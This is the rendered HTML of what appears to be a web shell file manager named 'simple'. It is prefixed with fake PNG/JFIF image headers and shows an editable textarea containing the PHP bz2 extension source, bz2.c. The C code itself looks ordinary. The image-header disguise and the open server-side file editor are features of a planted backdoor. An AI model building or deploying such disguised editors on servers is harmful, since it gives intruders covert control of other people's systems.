�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2F'>php-8.4.5</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2F'>ext</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fbz2%2F'>bz2</a>/</p><hr><h3>✏️ Editing: bz2.c</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/*
  +----------------------------------------------------------------------+
  | Copyright (c) The PHP Group                                          |
  +----------------------------------------------------------------------+
  | This source file is subject to version 3.01 of the PHP license,      |
  | that is bundled with this package in the file LICENSE, and is        |
  | available through the world-wide-web at the following url:           |
  | https://www.php.net/license/3_01.txt                                 |
  | If you did not receive a copy of the PHP license and are unable to   |
  | obtain it through the world-wide-web, please send a note to          |
  | license@php.net so we can mail you a copy immediately.               |
  +----------------------------------------------------------------------+
  | Author: Sterling Hughes &lt;sterling@php.net&gt;                           |
  +----------------------------------------------------------------------+
*/

#ifdef HAVE_CONFIG_H
#include &lt;config.h&gt;
#endif

#include &quot;php.h&quot;
#include &quot;php_bz2.h&quot;
#include &quot;bz2_arginfo.h&quot;

#ifdef HAVE_BZ2

/* PHP Includes */
#include &quot;ext/standard/info.h&quot;
#include &quot;main/php_network.h&quot;

/* for fileno() */
#include &lt;stdio.h&gt;

/* Internal error constants */
#define PHP_BZ_ERRNO   0
#define PHP_BZ_ERRSTR  1
#define PHP_BZ_ERRBOTH 2

static PHP_MINIT_FUNCTION(bz2);
static PHP_MSHUTDOWN_FUNCTION(bz2);
static PHP_MINFO_FUNCTION(bz2);

zend_module_entry bz2_module_entry = {
	STANDARD_MODULE_HEADER,
	&quot;bz2&quot;,
	ext_functions,
	PHP_MINIT(bz2),
	PHP_MSHUTDOWN(bz2),
	NULL,
	NULL,
	PHP_MINFO(bz2),
	PHP_BZ2_VERSION,
	STANDARD_MODULE_PROPERTIES
};

#ifdef COMPILE_DL_BZ2
ZEND_GET_MODULE(bz2)
#endif

struct php_bz2_stream_data_t {
	BZFILE *bz_file;
	php_stream *stream;
};

/* {{{ BZip2 stream implementation */

static ssize_t php_bz2iop_read(php_stream *stream, char *buf, size_t count)
{
	struct php_bz2_stream_data_t *self = (struct php_bz2_stream_data_t *)stream-&gt;abstract;
	size_t ret = 0;

	do {
		int just_read;
		size_t remain = count - ret;
		int to_read = (int)(remain &lt;= INT_MAX ? remain : INT_MAX);

		just_read = BZ2_bzread(self-&gt;bz_file, buf, to_read);

		if (just_read &lt; 1) {
			/* it is not safe to keep reading after an error, see #72613 */
			stream-&gt;eof = 1;
			if (just_read &lt; 0) {
				if (ret) {
					return ret;
				}
				return -1;
			}
			break;
		}

		ret += just_read;
	} while (ret &lt; count);

	return ret;
}

static ssize_t php_bz2iop_write(php_stream *stream, const char *buf, size_t count)
{
	size_t wrote = 0;
	struct php_bz2_stream_data_t *self = (struct php_bz2_stream_data_t *)stream-&gt;abstract;

	do {
		int just_wrote;
		size_t remain = count - wrote;
		int to_write = (int)(remain &lt;= INT_MAX ? remain : INT_MAX);

		just_wrote = BZ2_bzwrite(self-&gt;bz_file, (char*)buf, to_write);
		if (just_wrote &lt; 0) {
			if (wrote == 0) {
				return just_wrote;
			}
			return wrote;
		}
		if (just_wrote == 0) {
			break;
		}

		wrote += just_wrote;

	} while (wrote &lt; count);

	return wrote;
}

static int php_bz2iop_close(php_stream *stream, int close_handle)
{
	struct php_bz2_stream_data_t *self = (struct php_bz2_stream_data_t *)stream-&gt;abstract;
	int ret = EOF;

	if (close_handle) {
		BZ2_bzclose(self-&gt;bz_file);
	}

	if (self-&gt;stream) {
		php_stream_free(self-&gt;stream, PHP_STREAM_FREE_CLOSE | (close_handle == 0 ? PHP_STREAM_FREE_PRESERVE_HANDLE : 0));
	}

	efree(self);

	return ret;
}

static int php_bz2iop_flush(php_stream *stream)
{
	struct php_bz2_stream_data_t *self = (struct php_bz2_stream_data_t *)stream-&gt;abstract;
	return BZ2_bzflush(self-&gt;bz_file);
}
/* }}} */

const php_stream_ops php_stream_bz2io_ops = {
	php_bz2iop_write, php_bz2iop_read,
	php_bz2iop_close, php_bz2iop_flush,
	&quot;BZip2&quot;,
	NULL, /* seek */
	NULL, /* cast */
	NULL, /* stat */
	NULL  /* set_option */
};

/* {{{ Bzip2 stream openers */
PHP_BZ2_API php_stream *_php_stream_bz2open_from_BZFILE(BZFILE *bz,
														const char *mode, php_stream *innerstream STREAMS_DC)
{
	struct php_bz2_stream_data_t *self;

	self = emalloc(sizeof(*self));

	self-&gt;stream = innerstream;
	if (innerstream) {
		GC_ADDREF(innerstream-&gt;res);
	}
	self-&gt;bz_file = bz;

	return php_stream_alloc_rel(&amp;php_stream_bz2io_ops, self, 0, mode);
}

PHP_BZ2_API php_stream *_php_stream_bz2open(php_stream_wrapper *wrapper,
											const char *path,
											const char *mode,
											int options,
											zend_string **opened_path,
											php_stream_context *context STREAMS_DC)
{
	php_stream *retstream = NULL, *stream = NULL;
	char *path_copy = NULL;
	BZFILE *bz_file = NULL;

	if (strncasecmp(&quot;compress.bzip2://&quot;, path, 17) == 0) {
		path += 17;
	}
	if (mode[0] == &#039;\0&#039; || (mode[0] != &#039;w&#039; &amp;&amp; mode[0] != &#039;r&#039; &amp;&amp; mode[1] != &#039;\0&#039;)) {
		return NULL;
	}

#ifdef VIRTUAL_DIR
	virtual_filepath_ex(path, &amp;path_copy, NULL);
#else
	path_copy = (char *)path;
#endif

	if (php_check_open_basedir(path_copy)) {
#ifdef VIRTUAL_DIR
		efree(path_copy);
#endif
		return NULL;
	}

	/* try and open it directly first */
	bz_file = BZ2_bzopen(path_copy, mode);

	if (opened_path &amp;&amp; bz_file) {
		*opened_path = zend_string_init(path_copy, strlen(path_copy), 0);
	}

#ifdef VIRTUAL_DIR
	efree(path_copy);
#endif

	if (bz_file == NULL) {
		/* that didn&#039;t work, so try and get something from the network/wrapper */
		stream = php_stream_open_wrapper(path, mode, options | STREAM_WILL_CAST, opened_path);

		if (stream) {
			php_socket_t fd;
			if (SUCCESS == php_stream_cast(stream, PHP_STREAM_AS_FD, (void **) &amp;fd, REPORT_ERRORS)) {
				bz_file = BZ2_bzdopen((int)fd, mode);
			}
		}

		/* remove the file created by php_stream_open_wrapper(), it is not needed since BZ2 functions
		 * failed.
		 */
		if (opened_path &amp;&amp; !bz_file &amp;&amp; mode[0] == &#039;w&#039;) {
			VCWD_UNLINK(ZSTR_VAL(*opened_path));
		}
	}

	if (bz_file) {
		retstream = _php_stream_bz2open_from_BZFILE(bz_file, mode, stream STREAMS_REL_CC);
		if (retstream) {
			return retstream;
		}

		BZ2_bzclose(bz_file);
	}

	if (stream) {
		php_stream_close(stream);
	}

	return NULL;
}

/* }}} */

static const php_stream_wrapper_ops bzip2_stream_wops = {
	_php_stream_bz2open,
	NULL, /* close */
	NULL, /* fstat */
	NULL, /* stat */
	NULL, /* opendir */
	&quot;BZip2&quot;,
	NULL, /* unlink */
	NULL, /* rename */
	NULL, /* mkdir */
	NULL, /* rmdir */
	NULL
};

static const php_stream_wrapper php_stream_bzip2_wrapper = {
	&amp;bzip2_stream_wops,
	NULL,
	0 /* is_url */
};

static void php_bz2_error(INTERNAL_FUNCTION_PARAMETERS, int);

static PHP_MINIT_FUNCTION(bz2)
{
	php_register_url_stream_wrapper(&quot;compress.bzip2&quot;, &amp;php_stream_bzip2_wrapper);
	php_stream_filter_register_factory(&quot;bzip2.*&quot;, &amp;php_bz2_filter_factory);
	return SUCCESS;
}

static PHP_MSHUTDOWN_FUNCTION(bz2)
{
	php_unregister_url_stream_wrapper(&quot;compress.bzip2&quot;);
	php_stream_filter_unregister_factory(&quot;bzip2.*&quot;);

	return SUCCESS;
}

static PHP_MINFO_FUNCTION(bz2)
{
	php_info_print_table_start();
	php_info_print_table_row(2, &quot;BZip2 Support&quot;, &quot;Enabled&quot;);
	php_info_print_table_row(2, &quot;Stream Wrapper support&quot;, &quot;compress.bzip2://&quot;);
	php_info_print_table_row(2, &quot;Stream Filter support&quot;, &quot;bzip2.decompress, bzip2.compress&quot;);
	php_info_print_table_row(2, &quot;BZip2 Version&quot;, (char *) BZ2_bzlibVersion());
	php_info_print_table_end();
}

/* {{{ Reads up to length bytes from a BZip2 stream, or 1024 bytes if length is not specified */
PHP_FUNCTION(bzread)
{
	zval *bz;
	zend_long len = 1024;
	php_stream *stream;
	zend_string *data;

	if (FAILURE == zend_parse_parameters(ZEND_NUM_ARGS(), &quot;r|l&quot;, &amp;bz, &amp;len)) {
		RETURN_THROWS();
	}

	php_stream_from_zval(stream, bz);

	if (len  &lt; 0) {
		zend_argument_value_error(2, &quot;must be greater than or equal to 0&quot;);
		RETURN_THROWS();
	}

	data = php_stream_read_to_str(stream, len);
	if (!data) {
		RETURN_FALSE;
	}
	RETURN_STR(data);
}
/* }}} */

/* {{{ Opens a new BZip2 stream */
PHP_FUNCTION(bzopen)
{
	zval     *file;   /* The file to open */
	char     *mode;   /* The mode to open the stream with */
	size_t      mode_len;

	BZFILE   *bz;     /* The compressed file stream */
	php_stream *stream = NULL;

	if (zend_parse_parameters(ZEND_NUM_ARGS(), &quot;zs&quot;, &amp;file, &amp;mode, &amp;mode_len) == FAILURE) {
		RETURN_THROWS();
	}

	if (mode_len != 1 || (mode[0] != &#039;r&#039; &amp;&amp; mode[0] != &#039;w&#039;)) {
		zend_argument_value_error(2, &quot;must be either \&quot;r\&quot; or \&quot;w\&quot;&quot;);
		RETURN_THROWS();
	}

	/* If it&#039;s not a resource its a string containing the filename to open */
	if (Z_TYPE_P(file) == IS_STRING) {
		if (Z_STRLEN_P(file) == 0) {
			zend_argument_must_not_be_empty_error(1);
			RETURN_THROWS();
		}

		if (CHECK_ZVAL_NULL_PATH(file)) {
			zend_argument_type_error(1, &quot;must not contain null bytes&quot;);
			RETURN_THROWS();
		}

		stream = php_stream_bz2open(NULL, Z_STRVAL_P(file), mode, REPORT_ERRORS, NULL);
	} else if (Z_TYPE_P(file) == IS_RESOURCE) {
		/* If it is a resource, than its a stream resource */
		php_socket_t fd;
		size_t stream_mode_len;

		php_stream_from_zval(stream, file);
		stream_mode_len = strlen(stream-&gt;mode);

		if (stream_mode_len != 1 &amp;&amp; !(stream_mode_len == 2 &amp;&amp; memchr(stream-&gt;mode, &#039;b&#039;, 2))) {
			php_error_docref(NULL, E_WARNING, &quot;Cannot use stream opened in mode &#039;%s&#039;&quot;, stream-&gt;mode);
			RETURN_FALSE;
		} else if (stream_mode_len == 1 &amp;&amp; stream-&gt;mode[0] != &#039;r&#039; &amp;&amp; stream-&gt;mode[0] != &#039;w&#039; &amp;&amp; stream-&gt;mode[0] != &#039;a&#039; &amp;&amp; stream-&gt;mode[0] != &#039;x&#039;) {
			php_error_docref(NULL, E_WARNING, &quot;Cannot use stream opened in mode &#039;%s&#039;&quot;, stream-&gt;mode);
			RETURN_FALSE;
		}

		switch(mode[0]) {
			case &#039;r&#039;:
				/* only &quot;r&quot; and &quot;rb&quot; are supported */
				if (stream-&gt;mode[0] != mode[0] &amp;&amp; !(stream_mode_len == 2 &amp;&amp; stream-&gt;mode[1] != mode[0])) {
					php_error_docref(NULL, E_WARNING, &quot;Cannot read from a stream opened in write only mode&quot;);
					RETURN_FALSE;
				}
				break;
			case &#039;w&#039;:
				/* support only &quot;w&quot;(b), &quot;a&quot;(b), &quot;x&quot;(b) */
				if (stream-&gt;mode[0] != mode[0] &amp;&amp; !(stream_mode_len == 2 &amp;&amp; stream-&gt;mode[1] != mode[0])
					&amp;&amp; stream-&gt;mode[0] != &#039;a&#039; &amp;&amp; !(stream_mode_len == 2 &amp;&amp; stream-&gt;mode[1] != &#039;a&#039;)
					&amp;&amp; stream-&gt;mode[0] != &#039;x&#039; &amp;&amp; !(stream_mode_len == 2 &amp;&amp; stream-&gt;mode[1] != &#039;x&#039;)) {
					php_error_docref(NULL, E_WARNING, &quot;cannot write to a stream opened in read only mode&quot;);
					RETURN_FALSE;
				}
				break;
			EMPTY_SWITCH_DEFAULT_CASE();
		}

		if (FAILURE == php_stream_cast(stream, PHP_STREAM_AS_FD, (void *) &amp;fd, REPORT_ERRORS)) {
			RETURN_FALSE;
		}

		bz = BZ2_bzdopen((int)fd, mode);

		stream = php_stream_bz2open_from_BZFILE(bz, mode, stream);
	} else {
		zend_argument_type_error(1, &quot;must be of type string or file-resource, %s given&quot;, zend_zval_value_name(file));
		RETURN_THROWS();
	}

	if (stream) {
		php_stream_to_zval(stream, return_value);
	} else {
		RETURN_FALSE;
	}
}
/* }}} */

/* {{{ Returns the error number */
PHP_FUNCTION(bzerrno)
{
	php_bz2_error(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_BZ_ERRNO);
}
/* }}} */

/* {{{ Returns the error string */
PHP_FUNCTION(bzerrstr)
{
	php_bz2_error(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_BZ_ERRSTR);
}
/* }}} */

/* {{{ Returns the error number and error string in an associative array */
PHP_FUNCTION(bzerror)
{
	php_bz2_error(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_BZ_ERRBOTH);
}
/* }}} */

/* {{{ Compresses a string into BZip2 encoded data */
PHP_FUNCTION(bzcompress)
{
	char             *source;          /* Source data to compress */
	zend_long              zblock_size = 0; /* Optional block size to use */
	zend_long              zwork_factor = 0;/* Optional work factor to use */
	zend_string      *dest = NULL;     /* Destination to place the compressed data into */
	int               error,           /* Error Container */
					  block_size  = 4, /* Block size for compression algorithm */
					  work_factor = 0, /* Work factor for compression algorithm */
					  argc = ZEND_NUM_ARGS(); /* Argument count */
	size_t               source_len;      /* Length of the source data */
	unsigned int      dest_len;        /* Length of the destination buffer */

	if (zend_parse_parameters(argc, &quot;s|ll&quot;, &amp;source, &amp;source_len, &amp;zblock_size, &amp;zwork_factor) == FAILURE) {
		RETURN_THROWS();
	}

	/* Assign them to easy to use variables, dest_len is initially the length of the data
	   + .01 x length of data + 600 which is the largest size the results of the compression
	   could possibly be, at least that&#039;s what the libbz2 docs say (thanks to jeremy@nirvani.net
	   for pointing this out).  */
	dest_len = (unsigned int) (source_len + (0.01 * source_len) + 600);

	/* Allocate the destination buffer */
	dest = zend_string_alloc(dest_len, 0);

	/* Handle the optional arguments */
	if (argc &gt; 1) {
		block_size = zblock_size;
	}

	if (argc &gt; 2) {
		work_factor = zwork_factor;
	}

	error = BZ2_bzBuffToBuffCompress(ZSTR_VAL(dest), &amp;dest_len, source, source_len, block_size, 0, work_factor);
	if (error != BZ_OK) {
		zend_string_efree(dest);
		RETURN_LONG(error);
	} else {
		/* Copy the buffer, we have perhaps allocate a lot more than we need,
		   so we erealloc() the buffer to the proper size */
		ZSTR_LEN(dest) = dest_len;
		ZSTR_VAL(dest)[ZSTR_LEN(dest)] = &#039;\0&#039;;
		RETURN_NEW_STR(dest);
	}
}
/* }}} */

/* {{{ Decompresses BZip2 compressed data */
PHP_FUNCTION(bzdecompress)
{
	char *source;
	zend_string *dest;
	size_t source_len;
	int error;
	bool small = 0;
#ifdef PHP_WIN32
	unsigned __int64 size = 0;
#else
	unsigned long long size = 0;
#endif
	bz_stream bzs;

	if (FAILURE == zend_parse_parameters(ZEND_NUM_ARGS(), &quot;s|b&quot;, &amp;source, &amp;source_len, &amp;small)) {
		RETURN_THROWS();
	}

	bzs.bzalloc = NULL;
	bzs.bzfree = NULL;

	if (BZ2_bzDecompressInit(&amp;bzs, 0, (int)small) != BZ_OK) {
		RETURN_FALSE;
	}

	bzs.next_in = source;
	bzs.avail_in = source_len;

	/* in most cases bz2 offers at least 2:1 compression, so we use that as our base */
	dest = zend_string_safe_alloc(source_len, 2, 1, 0);
	bzs.avail_out = source_len * 2;
	bzs.next_out = ZSTR_VAL(dest);

	while ((error = BZ2_bzDecompress(&amp;bzs)) == BZ_OK &amp;&amp; bzs.avail_in &gt; 0) {
		/* compression is better then 2:1, need to allocate more memory */
		bzs.avail_out = source_len;
		size = (bzs.total_out_hi32 * (unsigned int) -1) + bzs.total_out_lo32;
#ifndef ZEND_ENABLE_ZVAL_LONG64
		if (size &gt; SIZE_MAX) {
			/* no reason to continue if we&#039;re going to drop it anyway */
			break;
		}
#endif
		dest = zend_string_safe_realloc(dest, 1, bzs.avail_out+1, (size_t) size, 0);
		bzs.next_out = ZSTR_VAL(dest) + size;
	}

	if (error == BZ_STREAM_END || error == BZ_OK) {
		size = (bzs.total_out_hi32 * (unsigned int) -1) + bzs.total_out_lo32;
#ifndef ZEND_ENABLE_ZVAL_LONG64
		if (UNEXPECTED(size &gt; SIZE_MAX)) {
			php_error_docref(NULL, E_WARNING, &quot;Decompressed size too big, max is %zd&quot;, SIZE_MAX);
			zend_string_efree(dest);
			RETVAL_LONG(BZ_MEM_ERROR);
		} else
#endif
		{
			dest = zend_string_safe_realloc(dest, 1, (size_t)size, 1, 0);
			ZSTR_LEN(dest) = (size_t)size;
			ZSTR_VAL(dest)[(size_t)size] = &#039;\0&#039;;
			RETVAL_STR(dest);
		}
	} else { /* real error */
		zend_string_efree(dest);
		RETVAL_LONG(error);
	}

	BZ2_bzDecompressEnd(&amp;bzs);
}
/* }}} */

/* {{{ php_bz2_error()
   The central error handling interface, does the work for bzerrno, bzerrstr and bzerror */
static void php_bz2_error(INTERNAL_FUNCTION_PARAMETERS, int opt)
{
	zval         *bzp;     /* BZip2 Resource Pointer */
	php_stream   *stream;
	const char   *errstr;  /* Error string */
	int           errnum;  /* Error number */
	struct php_bz2_stream_data_t *self;

	if (zend_parse_parameters(ZEND_NUM_ARGS(), &quot;r&quot;, &amp;bzp) == FAILURE) {
		RETURN_THROWS();
	}

	php_stream_from_zval(stream, bzp);

	if (!php_stream_is(stream, PHP_STREAM_IS_BZIP2)) {
		zend_argument_type_error(1, &quot;must be a bz2 stream&quot;);
		RETURN_THROWS();
	}

	self = (struct php_bz2_stream_data_t *) stream-&gt;abstract;

	/* Fetch the error information */
	errstr = BZ2_bzerror(self-&gt;bz_file, &amp;errnum);

	/* Determine what to return */
	switch (opt) {
		case PHP_BZ_ERRNO:
			RETURN_LONG(errnum);
			break;
		case PHP_BZ_ERRSTR:
			RETURN_STRING((char*)errstr);
			break;
		case PHP_BZ_ERRBOTH:
			array_init(return_value);

			add_assoc_long  (return_value, &quot;errno&quot;,  errnum);
			add_assoc_string(return_value, &quot;errstr&quot;, (char*)errstr);
			break;
	}
}
/* }}} */

#endif
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fbz2'>🔙 Back</a></p>